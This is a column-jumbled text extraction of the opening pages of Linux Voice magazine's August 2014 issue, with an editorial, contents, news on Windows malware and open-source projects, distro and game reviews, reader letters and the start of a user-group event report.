Linux Voice [Issue 5]

Authors Linux Voice

Plaintext

RASPBERRY PI COMPUTE MODULE: EXCLUSIVE ACCESS + REVIEW

August 2014
115 PAGES PAGERANK OLDE CODE BOBA FETT

OF LINUX BEAT GOOGLE BASIC BOUNTIES
LEARNING! Write your own web
search algorithm
Discover the Python
of the 1980s
Find bugs, make money.
What could be better?

Exploit SQL injection attacks, cross-site scripting and other naughtiness
to learn the tricks of the hackers – and keep them out!

34+ PAGES OF TUTORIALS
COMPILING 101 Tweak software from source code
PYPARTED Take absolute, complete control of your partitions
MIGRATION Leave knackered old Windows XP behind for good

RETRO GAMING MOBILE CODING

NETHACK ANDROID
Is this the greatest Put your idea in
game ever devised? a million pockets
WELCOME

75,000 words of awesome
The August issue

Linux Voice is different.
Linux Voice is special.
Here’s why… GRAHAM MORRISON
A free software advocate
At the end of each financial and writer since the late
1
year we’ll give 50% of our 1990s, Graham is a lapsed
profits to a selection of KDE contributor and author
organisations that support free of the Meeq MIDI step
software, decided by a vote among sequencer.
our readers (that’s you).

I
’m not obsessed with privacy. I have always accepted that
No later than nine months technology makes it a lot easier for governments and crackers
2
after first publication, we will to capture our online interactions. Neither do I want to add to the
relicense all of our content under righteous noise of outrage from writers, journalists and
the Creative Commons CC-BY-SA commentators far more eloquent and erudite than myself. Put
licence, so that old content can still simply, I think the ever growing and incorrigible scope of monitoring
be useful, and can live on even after has gone too far and my words aren’t going to change anything.
the magazine has come off the But Free Software does have the tools to change things. We can
shelves. all make sure we’re running HTTPS everywhere; we can use GnuPG
to encrypt our data and sign our emails. There are countless other
We’re a small company, so tools that do similar jobs. More than expecting our
3
we don’t have a board of governments to have a sudden attack of conscience, we
directors or a bunch of should be doing more for ourselves. And there’s no better SUBSCRIBE
shareholders in the City of London
to keep happy. The only people
place to start than by seeing how vulnerable your data and
websites are. This is our primary motivation behind this ON PAGE 60
that matter to us are the readers. month’s cover feature, and it’s only possible with Linux and
open source. We’d be in a right pickle without it!

THE LINUX VOICE TEAM Graham Morrison
Editor Graham Morrison Editor, Linux Voice
graham@linuxvoice.com
Deputy editor Andrew Gregory

What’s hot in LV#005
andrew@linuxvoice.com
Technical editor Ben Everard
ben@linuxvoice.com
Editor at large Mike Saunders
mike@linuxvoice.com
Games editor Liam Dawe
liam@linuxvoice.com
Creative director Stacey Black
stacey@linuxvoice.com
Malign puppetmaster Nick Veitch
nick@linuxvoice.com
Editorial contributors:
Mark Crutch, Mark Delahay,
Richy Delaney, Marco Fioretti, Juliet ANDREW GREGORY BEN EVERARD MIKE SAUNDERS
Kemp, John Lane, Simon Phipps, Les Ben’s ‘Hack our server’ The new Compute Module from I’ve been reluctant to look into
Pounder, Jonathan Roberts, Mayank competition is unprecedented. the Raspberry Pi Foundation has Python 3. But after reading
Sharma, Valentine Sinitsyn Where else would you get to test the potential to change so much Richard’s great migration piece,
out all the things you learn? p25 about prototyping p34 I’m no longer worried p100

www.linuxvoice.com 3
CONTENTS

August LV005
This issue brought to you by the unknown unknowns.
18
SUBSCRIBE
ON PAGE 60

REGULARS
06 News
Important facts that have
happened this month.

08 Distrohopper
What’s going to top the distro
Beat the hackers at their own game and charts this time next year.
keep your system safe 10 Gaming
Unreal Tournament, free
and on Linux. Happy days!

12 Speak your brains
Let us know what’s going on in
30 your precious cerebral cortex.

16 LV on tour
Manchester Girl Geeks and
Cambridge Raspberry Jam.

40 Interview
The inside story of LibreOffice,
from Michael Meeks.

54 Group test
Get your news fast with the
best RSS aggregators.

60 Subscribe!
And sneak a peek at next
month’s amazing issue.

Get paid extra coins for making software 62 Sysadmin
better. Capitalism at work! Discover what dark secrets
your logfiles hold.

64 Core technologies
Call Mario and Luigi: Dr Chris
is playing with pipes!

68 FOSSpicks
Only the hottest free software
makes it into these pages.

110 Masterclass
Git and GitHub: two essential
collaboration tools.
34
RPI COMPUTE MODULE 38
FAQ The latest 26 NETHACK 114 My Linux desktop
Live from the desktop of the
The heart of your next acronyms to come at Lose yourself in the Awesome WM developer.
robotics project. you from the cloud. greatest of all games.

4 www.linuxvoice.com
REVIEWS
TUTORIALS
76 78

46 XBMC vs MythTV
Two giants Linux media centre
applications fight for the right
Benchmarking: how fast Raspberry Pi: make to control your television.
is your computer? games with Scratch
Test the capabilities of your Build a set of traffic lights and
machine and persuade the boss a random number dice-rolling
to let you get a new one. game – both with flashy lights!

82 86

48 Linux Mint 17
The smoothest, slickest
desktop Linux distribution gets
a comforting new release.
49 Micro Python & Pyboard
Hacking projects await for
this microcontroller board and
Office migration: Compile software from its cut-down version of Python.
printing and email source code 50 Apache OpenOffice
Let your small or home office Get the latest software, extra We tend to forget about
labour no longer under the features and more speed with OpenOffice, since the fork with
oppressive yoke of XP. Freedom! home-rolled source code. LibreOffice, but it’s still out
there and still getting better…

Switch to
100
Oxygen XML Editor 16
90 94
Python 3
51

Give your content definition,
Migrate your old structure and prettiness with
code to the new way. this fantastic (and expensive,
and proprietary) XML editor.
PageRank:
104

write your own
Write your own 52 Books Where else would you
BASIC and the PyParted: search algorithm. get Snowden, JavaScript and
dawn of the partition your real British Ale?
microcomputer disk with Python Develop
106

for Android
The language that Gain insane levels Prettify our
started a revolution. of geek points. Linux Voice app.

www.linuxvoice.com 5
ANALYSIS

NEWSANALYSIS
The Linux Voice view on what’s going on in the world of Free Software.
Opinion

Don’t panic!
We should be grateful that MS has finally got its house in order. And angry that it took so long…

Simon Phipps All operating systems have bugs, and I Windows could have prevented this sort
is president of the suspect (although haven’t found any data to of thing from happening by using the ring
Open Source Initiative
confirm) that they occur at approximately protection offered by Intel x86 architecture
and a board member
of the Open Rights the same frequency in all mature released from the 80186 chip onwards. A feature of
Group and of Open operating systems. All operating systems Intel’s x86 architecture makes it possible to
Source for America. that respect Shaw’s Law are also vulnerable prohibit execution of data unless the
to malware. Malware depends on identifying program in question is privileged (“at ring 0”),
exploits – defects of some sort in system usually by being part of the operating
security that can be “exploited” to permit system. Application code at ring 3 can be
infestation by the malware. forbidden from executing data.

T
he action that law enforcement Not all bugs turn into security exploits, Indeed, Windows did use ring 0/ring 3
services have taken against the though. In particular, in Unix-like operating differentiation for some jobs (skipping rings
GameOver-Zeus malware systems like OS X, Linux and Solaris, it’s 1 and 2 for cross-platform technical
syndicate is great news. In the UK, this was unusual for bugs to lead directly to security reasons). But access to ring 0 – “able to
communicated with typical tabloid exploits; instead, most malware depends on execute anything you want” – was never
alarmism, framed as “two weeks to save the user error or social engineering. For an prohibited. Doing so would have prevented
world” instead of “unusually effective action exploit to exist, there has to be a way to use legacy DOS code from running, so (as I
by law enforcement”. knowledge of the bug to gain access to a remember being told at the time) Microsoft
The BBC’s instructions start with the resource that would otherwise be forbidden. chose not to implement ring 0/ring 3
statement “If your computer does not run It happens on *ix systems, but the OS has protection in Windows NT until it was
Windows, stop right here.” Users of other checks in place to prevent the most completely sure that deprecating DOS
operating systems, like Linux or ChromeOS, common way of turning bugs into exploits. legacy support would no longer be a
have nothing to worry about this time, even marketing issue. That was in Windows 8…
if they are increasingly likely to be targeted Unauthorised pokes
elsewhere. I went scurrying to find a The most common way for this to happen Credit where due
half-remembered explanation from my days (although there are many others) is for the So actually it’s somewhat appropriate to
at IBM to explain why Windows has suffered operating system to fail to differentiate blame Windows versions prior to Windows 8
from so many virus attacks. between data and program code. By treating for being vulnerable to many viruses that
Before you write to the editor, note I am code and data as the same thing, a path is exploited bugs in this way. The existence of
not saying that the only explanation for opened for malware to use a bug to push the vulnerability was a conscious choice and
Windows viruses is this technical one; some data into a memory location (a “buffer a marketing decision; in OS/2, which had no
obviously the huge attack surface of the over-run” or a “stack overflow” are examples legacy to accommodate, the ring 0
giant userbase attracts attackers, and the of this) and then tell the computer to separation was enforced.
large legacy of sample code gives criminals execute it. Hey presto – there’s your exploit. Yes, Windows also offers a larger attack
a leg up. However, that leaving the door open All an attacker has to do is push code for a “surface” because of its wide adoption, and
for a decade hasn’t helped, and is a major virus (or a virus bootstrap) into memory and yes, there are other exploit mechanisms. But
reason why the dominant form of malware ask for it to be executed, and your computer this tolerated technical vulnerability is the
on Windows is the virus and not the trojan. is compromised. root cause of a large number of exploits.
Windows 8 has finally addressed this
particular issue, but the criminal community
“Malware depends on identifying defects of some that exploited it is now well-funded and
sort in system security that can be exploited.” capable, so the problem it caused isn’t going
away any time soon.

6 www.linuxvoice.com
ANALYSIS

CATCHUP Summarised: the eight biggest news
stories from the last month

First Tizen smartphone systemd 213 released, Nginx overtakes Apache
1 will go on sale in Russia 2 now sets your clock 3 on top 10,000 websites
Privyet, Samsung Z! This is Yes, systemd is marching Nginx has been creeping up
the first smartphone to run Tizen, a onwards in its quest to take over all on the Apache web server for a while,
mobile operating system somewhat aspects of the Linux boot process. and the latest adoption statistics tell a
akin to Android in that it’s based on the The latest release, 213, features a new story. Of course, Nginx often functions
Linux kernel. Hardware-wise it sports a systemd-timesyncd (spot a pattern as a reverse proxy or load balancer
2.3GHz quad-core CPU, 2GB RAM, and here?) daemon, which functions as an for Apache, so it’s not an ‘either-or’
a 4.8-inch 720p AMOLED display. Tizen SNTP (Simple Network Time Protocol) situation. See more at:
applications will be based on HTML5 client. Essentially, this gets the current http://w3techs.com/technologies/
technologies, so they should be easy to time from another computer on your cross/web_server/ranking
port to Firefox OS, Ubuntu Touch and network – or the internet – to make
other mobile platforms. The Samsung Z sure your clock doesn’t drift away from
will go on sale in the third quarter for an reality. What’s to come in systemd next?
as-yet unknown quantity of rubles. Maybe we’ll see “systemd-emacsd”…

Chinese government bans Mozilla adopts Adobe OpenSSL receives two
4 Windows 8, looks to Linux 5 DRM scheme in Firefox 6 full-time developers
As if Windows 8, with its This is has made a lot of For years, major companies
widely-dissed “Metro” interface, people upset. DRM – aka Digital Rights have been relying on OpenSSL without
wasn’t having enough trouble. Now Management – is a ploy by media ever contributing anything back. Then
the Chinese government has banned companies to restrict who can view Heartbleed comes along, and there’s
Microsoft’s latest operating system, or listen to their content. It’s deeply a mad rush to give OpenSSL some
citing vague energy consumption unpopular in the FOSS world, but funding. Now the project will get two
and security issues. Meanwhile, with Mozilla has decided to implement a full-time developers, but given the
support for Windows XP terminated, DRM system from Adobe in future horrific state of the source code (see
the government is taking a fresh look Firefox releases (users will be prompted www.opensslrampage.org), is this
at Linux to upgrade its vast number of to install it if desired). The argument really going to help? Many argue that
computers. After the Red Flag Linux is that it keeps Firefox relevant, but a full fork is needed, with developers
project was shelved earlier in the year, detractors regard it as a capitulation – willing to rip out all the old cruft, like the
however, it’s unclear what will happen… acceptance that DRM is here to stay. LibreSSL team from OpenBSD is doing.

Linux Mint 17 “Qiana” EU supports “right to be
7 hits the mirrors 8 forgotten” on Google
It’s currently the most While this isn’t Linux news per
popular Linux flavour on DistroWatch, se, it’s a major development in terms
and now Mint 17 has been released. of online privacy. An EU court has ruled
We have a full review on page 48, but that Google should alter its search
here’s a summary of the highlights: results to remove links to information
the Update Manager is faster and its about a person, should that person
GUI has been overhauled; the Driver request it. So if there’s a page on the
Manager can install drivers from web about you that you don’t like, and
the boot media, without an internet you don’t want it appearing in Google
connection; and the login screen now results when someone searches for
works better with multiple monitors. your name, you can ask Google to
Mint 17 is a Long Term Support remove the links via this page:
release, with updates until 2019. http://tinyurl.com/googleforget

www.linuxvoice.com 7
DISTROHOPPER

DISTROHOPPER
We’ve tapped GCHQ’s communications to find out what’s going on in distro land.

Neon 5
Show off Plasma Next.

N
eon 5 is a live Linux that’s been
created to show off the early
versions of Plasma Next, the
upcoming desktop of KDE. Because of this,
it’s utterly useless as a general-purpose OS.
It’s unstable and devoid of pretty essential
software (such as a web browser). It’s built
on Ubuntu Trusty, so the software is
available – it’s just that there’s very little
installed by default. This minimalism is, of
course, by design. Neon 5 has only one
purpose: to show off Plasma Next.
Plasma Next is still in Beta, so we can’t
say for sure exactly what it will be like, but it
is clear what direction the project’s moving
in from a design point of view. It’s sleeker, There’s still some work to do, so expect the final version of Plasma Next to look a little different.
flatter and more modern than previous
versions, and these are all things that we improvements in Qt Quick, one of which is in tweaking to do before the speedup is fully
approve of. the scenegraph rendering, which now runs realised. It’s still early days for Plasma Next,
Behind the scenes, there’s been major much better in OpenGL. This should result in but here at Linux Voice, we’re cautiously
work to use Qt 5, which brings with it major performance improvements, but there’s still optimistic for the future.

Super Grub2 Disk 2.0
Boot your borked system automagically.

S
uper Grub2 Disk is one of those have all the tools you need to find and fix the
things that you may never need, but problem. In steps Super Grub2 Disk (it’s not
on rare occasions, it can really get the snappiest of names, but at least it’s
you out of a tight spot. It isn’t a Linux distro, descriptive). It contains all sorts of boot
but a live disc to help you boot other distros. wizardry to seek out and boot whatever We hope you’ll never need it, but it’s good to
If you’ve managed to knacker your boot operating systems are present on your know that Super Grub2 Disk is there if you do.
sector or EFI partition, you could be left with machine. Once the existing OS is booted,
an unbootable computer. A regular live CD you should be able to use the system’s tools stable release in three years, so it’s good to
should still be able to start, but it may not to repair the boot system. see the project’s still going. It’s made by the
New in version two is the ability same people as Rescatux (a Linux distro
to work on EFI systems (as long built to help fix or recover data from broken
“It contains all sorts of wizardry as secure boot isn’t being used) systems), which also hasn’t seen a stable
as well as a new option to search release in quite some time. Super Grub2
to seek out and boot whatever additional forms of media such Disk 2.0, we’re promised, is a precursor to a
operating systems are present.” as LUKS and USB. Prior to new version of Rescatux, so we have our
version 2.0, there hadn’t been a fingers crossed.

8 www.linuxvoice.com
DISTROHOPPER

Mint 17
Stability is a feature.

P
erhaps we’re a little odd, but one of
the most interesting things about
Mint for us is the insight it gives us
into the differences between GTK 2 and GTK
3. Its two flagship desktop environments
(Mate and Cinnamon) are very similar in
almost every way except that they use
different versions of the toolkit. Mate is a
fork of Gnome 2 (and therefore uses the
older GTK 2) while Cinnamon is a Gnome 2
lookalike built in GTK 3.
This toolkits aside, the two are really very
similar. They both follow the traditional
desktop paradigm with an applications
menu in the bottom left, and a panel along
the bottom – a tried and tested setup that’s
been a staple for almost 20 years. Bugs are fixed, packages are updated, but all the important stuff in Mint stays the same.
Both versions are themed very similarly,
so while most people probably have a slight less memory than the Mate version. By far new version of Mint every two years (it was
preference for one over the other, it’s unlikely the biggest difference is that Cinnamon (and previously every six months), though the
to be strong (we mildly prefer the look of GTK 3) is designed to take advantage of team will make sure that major app updates
Cinnamon, but could easily understand hardware graphics acceleration. This means get back-ported. This should make it easier
people feeling the other way). that if you have some form of graphics for the developers as there’ll be fewer
In our test the Mate versions started just acceleration then it should run wonderfully versions to maintain, and better for users, as
under a second faster at 21 seconds. The smoothly, but if you don’t, it runs terribly and they’ll get the latest software without having
Cinnamon desktop proved a little less even simple tasks can max out your CPU. to upgrade their whole system.
memory hungry and gobbled up about 10% From Mint 17 onwards, there will only be a Turn to p48 for our full review of Mint 17.

Tails Keep your private communications private

There are loads of privacy and anonymity tools on
Linux, but they are surprisingly hard to set up
right, and unless they’re set up correctly, they may
not be giving you as much privacy or anonymity
as you think they are. Fortunately, there’s a
solution: The Amnesiac Incognito Live System (or
Tails). This is a live distro that does exactly what
it claims to. It doesn’t hold onto any information
(Amnesiac), it keeps you anonymous (Incognito),
and it’s a live system. All you have to do is boot it
up, and you have a properly set up private system.
It’s sufficient for Edward Snowden and his allies.
The project’s just hit version 1 but this
version number doesn’t do justice to the distro’s
long and illustrious history already. It’s not
known how many journalists, whistle blowers
and other free speech activists Tails has helped
protect, but we strongly suspect that it’s far
more than this version number would suggest.
The project was once famous for having a
properly configured Tor browser, but it now has
much more as well. You can create encrypted
volumes to keep data securely on a USB stick,
use PGP email, browse the I2P network, use
instant messaging, anonymise your metadata
and do all the other tasks a journalist on the run Tails won’t save you from yourself, so the developers have put together guidance on the potential
from the NSA might need to do. pitfalls at https://tails.boum.org/doc/about/warning/index.en.html.

www.linuxvoice.com 9
GAMING ON LINUX

GAMING ON LINUX
The tastiest brain candy to relax those tired neurons

WHEELS OF STEEL
Unreal Tournament
Unreal Tournament is coming back to Linux! Ultrakill!!

U
nreal Tournament
hasn’t been on Linux Take this image, up
the graphics and
since 2004, and it’s set
remove the cost!
to smash back onto our screen
in a very big way. Epic Games
has not only announced that
Unreal Engine 4.1 supports
Liam Dawe is our Games Editor and
the founder of gamingonlinux.com, Linux, but it has also confirmed
the home of Tux gaming on the web. that Unreal Tournament will be
on Linux.

T
his issue our fancy has been The game will be free, but
tickled by an excellent not just free to play – 100%
resource for people wanting
free, and it will be a great
to bring their old gaming loves back
to life using Linux. What we’re talking showcase for how the Unreal community-oriented. This is the early stages, and we’ll keep
about is “Puppy Arcade”, a retro engine performs on Linux. also how Epic Games plans you posted in future issues of
gaming live CD that hasn’t been The developers plan to have to earn its money from a free Linux Voice!
around for too long. a marketplace where third game, as it will take a cut from www.unrealengine.com/
Live CDs are one of Linux’s
parties can put up mods at a each sale on the marketplace blog/the-future-of-unreal-
greatest strengths, and this shows it
off perfectly. Puppy Arcade includes price, and everything will be of mods. Everything is still in tournament-begins-today
emulators for a vast number of old
gaming systems (including the
popular Sega consoles, Amiga, Atari
and many, many more) so you can run
games on any computer that has an
available CD/DVD/Blu-ray or USB
Door Kickers
drive to run a live image. Flash out! Tango down!
Projects like this are important

D
because they help remind us of the oor Kickers is a
generations of computing that came
fantastic little indie
before what we have today, and for
the attendant warm nostalgic glow. game where you
Using a tool like this would be far control a squad of SWAT
less expensive than searching members as you take on
somewhere like Ebay for a raft of old terrorists holing up in all
computers and consoles that could die
manner of different locations
within minutes. Not to mention older
units are getting rarer and can be – including the house from
difficult to come across. The Simpsons.
This could be especially useful for You might be wondering
use on a big TV for when you have
It looks like a real
how The Simpsons got into the crime scene!
your gaming friends over – it’s much
game… well that’s the beauty of
nicer to have a Linux distribution
aimed at retro games and built Door Kickers, as it has full
around them on a big TV than trying Steam Workshop support to the terrorists move around shooting wildly as you go. Be
to crowd around that desk of yours. allow for all kinds of crazy inside whatever complex you careful though, as the game
You can find it here: http:// mods with the click of a button. are storming. has its realism aspects to it
scottjarvis.com/page105.htm – be
During each mission you can There isn’t much in life that’s and you can lose SWAT
sure to tell us what you think of it in
the Linux Voice forum: pause and completely change more satisfying than throwing members quite easily if you
http://forums.linuxvoice.com your tactics if needed, and that a flash-bang into a room and don’t have your tactics right.
really does come in handy as then proceeding to storm it http://inthekillhouse.com

10 www.linuxvoice.com
GAMING ON LINUX

Paragon ALSO RELEASED…
Brace yourselves for hyperdrive!

P
aragon is a really beautiful space
trading, exploration and combat
simulation game that has been
forked from Pioneer. Paragon’s engine is
also open source, much like Pioneer, but
the media isn’t free.
Even in the early stages this game is
looking awesome, with some really well Stunt Rally
done art to go along with the excellent Stunt Rally is the rather good-looking open
sci-fi gameplay. source racing game for Linux. It has been in
Like most space simulation games, development for a long time and has just come
Paragon is non-linear, meaning you can go Be a good chap and open the pod bay doors… out with a brand new whopper of an update.
The game now features a staggering 153
anywhere and do anything you want while tracks promising to keep you rather busy; we
ignoring any kind of story if you so wish, Paragon world nice and busy. The game found the controls quite hard to master, so be
which is one of the things that makes it has a deep back-story to keep you busy, sure to let us know how you find it.
truly great. so you can expect to sink plenty of hours https://code.google.com/p/vdrift-ogre
into this one.
Make it so We don’t know whether there are
This is your chance to go off and visit Thargoids in the Paragon universe, but
millions of different star systems in a we’ll keep a close eye out. And, as with all
game. It’s fully single-player, but you won’t the best space games, the music sounds
feel alone as a vast number of AI captains like it’s going to be great.
go about their business keeping the www.paragongame.com

Tesseract Nuclear Throne
Plent of pewpewpew in this one! Post-apocalyptic 2D Bullet Hell.
The Last Tinker
The Last Tinker is an absolutely beautiful
mixture of adventure and action in a very
colourful world. It’s the first title from new
developers Mimimi Productions, and if this
title is anything to go by we can look forward
to plenty of excellent work from them on Linux
in future. The game features easy-to-use
controls, some good combat and an interesting
story. Well worth a look!
http://store.steampowered.com/app/260160

Tesseract is a brand-new open-source Nuclear Throne is the second game to
FPS game forked from the Cube 2 FPS come to Linux from famed indie developer
project, which means among other things Vlambeer, and it promises lots of action.
that it shares the ability to edit maps in The game is a “procedural death labyrinth”,
real time with other players. The game which is a fancy new name for Rogue-
features fast-paced FPS gaming at its likes to better describe them. You choose
finest with an instant-kill deathmatch what character you wish to play as, and
mode complemented by a capture-the- each comes with its own unique abilities
flag mode, as we all love running around to suit your preferred playing style. The Fistful of Frags
waving flags right? game is tortuously hard, and it has Fistful of Frags has been revamped from the
Tesseract is really quite beautiful and permanent death, so when you die that’s it bottom up in the latest Source Engine SDK,
runs very smoothly, but it’s another game – game over, which can be frustrating. and along with it came Linux support! It’s a
free first-person shooter that’s quite different
in the early stages and there isn’t much It’s in Steam’s Early Access section
from anything we’ve played before. You pick
to it yet. It has a long way to go before it meaning it’s not quite ready for the your load-out on spawn, and you have the
becomes as stable as games like Xonotic masses yet, but each update seems to ability to kick people away from you (it’s quite
and Red Eclipse; it does however show add a ton of excellent content. fun to try to kick foes into the water!).
real promise for the Linux gaming scene. http://store.steampowered.com/ http://store.steampowered.com/app/265630
http://tesseract.gg app/242680/

www.linuxvoice.com 11
MAIL

YOUR LETTERS
Got something to say? An idea for a new magazine feature?
Or a great discovery? Email us: letters@linuxvoice.com

LINUX VOICE STAR LETTER
GARDEN PI
Your projects for the Andrew says: That’s a great idea,
Raspberry Pi have been great and just in time for the end of
fun (eg a distress beacon the growing season. A friend
for when the zombies of mine is using a Raspberry Pi
come and how to construct for this exact purpose; I’ll ask
a Mars rover) as well as her how she did it and report
practical (the BrewPi and back. And if we could only
smart cycling jacket). I was persuade the zombies to eat
wondering if it’s possible to plants instead of brains, we’d
use the RPi in the garden solve two birds with one ARM-
to water hanging baskets powered stone.
automatically. Could a solar- Ben is working away in his
powered RPi be used to shed right now on a Raspberry
pump/trickle-feed rain water Pi-powered face recognition
from a water butt, through a system, hooked up to an
piece of narrow tubing and Arduino, a robot arm and a Nerf
into a hanging basket? If this gun, and Graham is brewing
could be done, it would allow the next batch of BrewPi Linux
us to keep the plants alive Voice ale. That’s the great thing
when hiding from zombies, about the Raspberry Pi: it’s so
or even whilst on holiday. versatile that the only limit is Tune in next issue for a heap of Raspberry Pi-powered projects to while
Les Waters, Hempstead your imagination. away your rainy British summer holidays.

OLDE CODE
I saw that you plan to write about Best regards,
Konrad Zuse in a future issue. Peder Christensen, Lund, Sweden
Great, I’m looking forward to that!
Please don’t forget to mention that Andrew says: Thanks Peder! We knew
there is an excellent permanent that there was a replica of one of his
exhibition devoted to his work in machines in Munich, but the Berlin
the Deutsches Technikmuseum. exhibition is news to us – we’ll pop in
Definitely worth a visit if you the next time we’re visiting the Free
happen to go to Berlin. (Perhaps Software Foundation Europe. We’ll be
even a reason to go to Berlin in sure to mention it in issue 7, when we
the first place.) You can read plan to write about him, his work
more about it her (http://sdtb. on the Z3 machine and Plankalkül,
de/Mathematics-and-Computer- the first high-level programming There’s a replica of Zuse’s z3 machine at the Deutsches Museum
Science.1256.0.html) language. in Munich. Image: Venusianer CC-BY-SA 3.0.

12 www.linuxvoice.com
MAIL

LICENCE QUESTION COMMAND LINE
I’m currently enjoying LV003 very TOOLS
much, but I’ve just come across Love the new magazine and
the reviews section and I’d like to the feature on mastering the
make a request: if you’re going to command line. I was surprised
review proprietary software in a you omitted any mention of the
free software magazine, can you spreadsheet tool sc (http://ibiblio.
please clearly label it? org/pub/Linux/apps/financial/
I started reading the Bitwig spreadsheet/sc-7.13.tar.gz), which
Studio review and became has been around on Unix-like
suspicious, and while the price systems for decades.
suggested to me that it was Tim Schofield
probably proprietary, it doesn’t
confirm it -- free (libre) software Mike says: True, SC is indeed a great
Bitwig Studio, though a
can be sold (eg Ardour in the the collapsed Version Information command line spreadsheet. I’m getting
fantastic, Linux-native
digital audio space takes a at the bottom of the page to find piece of software – is ever closer to doing all my daily jobs at
PWYC download approach; Red a link to the licence information. not Free Software. the shell prompt now. Next stop, apt-
Hat’s licensing; some mobile Similarly, Google Play and the get autoremove x.org-server...
applications through the Google Chrome Web Store clearly mark
Play store, etc). software as gratis, but IIRC doesn’t
The simple solution would be to indicate clearly if at all whether or
clearly include the software licence not software is libre.
(not just price, which only implies With a motto like “Free Software
the licence) in the DATA box at | Free Speech,” I’d hope that Linux
the start of reviews. This is what Voice could do better – if reviewing
Wikipedia does on articles about and recommending non-free
software. Simply, Licence: GPLv3, software, at least clearly mark it
or Apache v2, or proprietary, etc. as such so I know what to ignore!
That would make it very clear and Otherwise… keep up the great
obvious if a piece of software work!
being reviewed is proprietary so Blaise Alleyne
that I can skip it, without having to
switch to my computer to look it Graham says: That’s a fair point. It’s
up to confirm. part of our remit to promote Free
This problem isn’t exclusive Software, so we should be doing
to Linux Voice, but I’d hope that better on that front. We’ll add it to the It’s phenomenal what you can do with
Linux Voice could do better! For data box as you suggest, starting with the Linux command line, especially
example, in the Firefox add-ons this issue. Otherwise… I’m glad you’re when you factor in the time you save
repository, you have to dig under enjoying it! by automating repetitive tasks.

www.linuxvoice.com 13
MAIL

ENCRYPTION
A respected opponent of the
Spyocracy says we need a cheap
box to encrypt all our connections
with the internet.
In a recent article in the
Guardian, Eben Moglen argues that
we can’t trust our governments, Freedom isn’t free: the Novena
social networks or email providers heirloom laptop cost $5,000.
to keep the spies out of our
private affairs. The only solution and their Chinese equivalents that
is for all of us to use the best of we will no longer allow them to
modern technology to defeat the invade our lives and destroy our
information thieves. liberties.
We need a simple cheap box Maurice George,
that sits next to our phone socket Ormskirk, Lancashire
and encrypts/decrypts all traffic
to the internet. Our tech gurus Andrew says: I agree that there’s a
could use their expertise to create goldmine to be made from customers
a SpyBlocker device instead of who don’t want to be spied on. But
wasting their time building yet the crucial thing here is that the
another identikit smartphone. hardware would have to be open, like
So here’s the challenge. The the Novena laptop (www.crowdsupply.
entrepreneur who markets the com/kosagi/novena-open-laptop).
best box could make a fortune. We Otherwise we’d be just as open to
need to teach the NSA, CIA, GCHQ backdoors as before.

A LITTLE BIT OF MEXICO
For those of us who have to work tricky to set up (it needs a Tomcat
mostly with Windows at work, but server back-end). Maybe one of
like to sneak the odd Linux box the Linux Voice gurus could do the
onto the network when we can, leg work for us and show us how
how about a tutorial on Samba 4 to get it set up.
and how to set it up as an active Nick
directory domain controller or
member server? Andrew says: I remember all the
Also, I spotted the Guacamole fuss that was made when Samba 4
remote desktop project http:// came out, because it was the first
guac-dev.org. It presents a remote version to support Active Directory.
desktop connection through any Yes, you’re quite right that we should
HTML 5 browser window and can cover it, and get it up on the internet
proxy VNC and RDP connections as CC-BY-SA as soon as possible. As
too. It looks like a potentially very for Guacamole, it looks interesting.
handy technology but maybe a bit Hmmm…

We haven’t had
the chance to test
Guacamole, but
that appears to be
a Linux desktop
running inside a
browser. The cloud
can now proclaim
eternal victory!

14
MAIL

BUYING LINUX If you begrudge paying
Microsoft for an
MACHINES operating system that
I read with interest your article you’re just going to
on buying Linux computers and I delete, Check out
wish that I had access to it before www.pcspecialist.co.uk.
I bought my recent machine, as
it would’ve saved me a lot of my
own research. However, I should
like to point out that there are
Linux PC vendors in Europe, and
in particular I would draw your
readers’ attention to a German
site; linux-onlineshop.de. I too
had looked at US vendors, such
as System76, and had concluded
that VAT and import duties made
this an unattractive proposition.
The German site offered
configurable modern machines
and the protection of EU consumer
legislation: much more attractive.
Unfortunately, the site is only
available in German (no translation
available) but my Secondary
School German and judicious
use of Google Translate where I with Linux-onlineshop. They offer she loves it because it has Scratch
really didn’t understand the small some good machines, ready to go, and Python and the desktop
print managed to secure an order but buyers need to know that the looks similar to the Raspberry Pi!
and the machine arrived, well power supply will have a European Without your review I doubt that
packaged, in eight days exactly plug. This is easily cured with this distribution would have gained
as specified. Linux Onlineshop a UK visitor’s adaptor, available my attention.
had installed Linux Mint for me from high-street camping shops Keep up the good work and I
and had even set up separate or electronics retailers. I mention look forward to Issue 4!
partitions for root and /home. my experience for your readers, Mike
Although I’m not a complete Linux so that they might explore options
novice, I didn’t know enough that don’t involve them paying ‘the Ben says: Yes! Thanks Mike. It’s also
about UEFI and Secure Boot at Windows tax’. worth taking a look at PC Specialist,
the time to consider installing it I’d like to thank you for the a firm based right here in Ye Merry
on a modern machine myself and review of SolydXK in issue 2. I’d Englande. It’s where I got my machine
it was useful to be able to buy been looking for a solution to from, and as with linuxonlineshop.de,
a Haswell machine with Linux install on an old Intel Atom net- you don’t have to pay for a pointless,
pre-installed. Even though I’ve book for my nine-year-old niece. I useless Windows licence to get a
since got to grips with installing installed SolydXK for her because machine that you’re only ever going to
with UEFI, I’m pleased that I dealt it doesn’t need re-installation and use as a Linux box.

CONCERNED OF THE INTERNET
Is it true that Facebook is planning – there are no public shares, so the may be another way. With that kind of
to buy Canonical? If so I will only way for Canonical to be sold money, Facebook could possibly lure
change distributions just for my to anyone would be for a certain him onto some spacecraft claiming it
privacy alone. http://itsfoss.com/ Mr Shuttleworth to sell it to them. was headed for the ISS. Once in orbit
facebook-to-buy-ubuntu-for-3- Since he already bemonikers himself they could imprison him in one of the
billion SABDFL (Self Appointed Benevolent no-doubt dozens of brainwashing
Steve Cox Dictator For Life) it seems that the satellites they already have up there
company would have to be wrestled and compel him to name an upcoming
Nick ‘Mouth of Sauron’ Veitch says: from his cold, dead hands. However, if release “Zazzy Zuckerburg”. Still, this
Canonical is not a listed company billions of currency are at stake, there seems unlikely.

www.linuxvoice.com 15
LUGS ON TOUR

LUGS ON TOUR
Manchester Girl Geeks
Liz Hardwick Girls, geeks and crowdsourced cake

B
eing a woman who works at Manchester Girl Geeks’ largest
in technology normally ever event. Some talks included
means you’re the only girl Data and Healthcare, Social Media
geek in the room. Manchester Girl for Positive Change, Quantified Self
Geeks Barcamp was organised and a strand of women in science
to help redress that balance and tech talks from our venue
and give women the confidence hosts, The Institute of Humanities
and supportive environment to and Social Science Research.
attend possibly their first geeky My personal favourites from the
conference. It’s always been talk lineup came from @Jarofgreen
important to me to support women- on OpenCal, an open source online
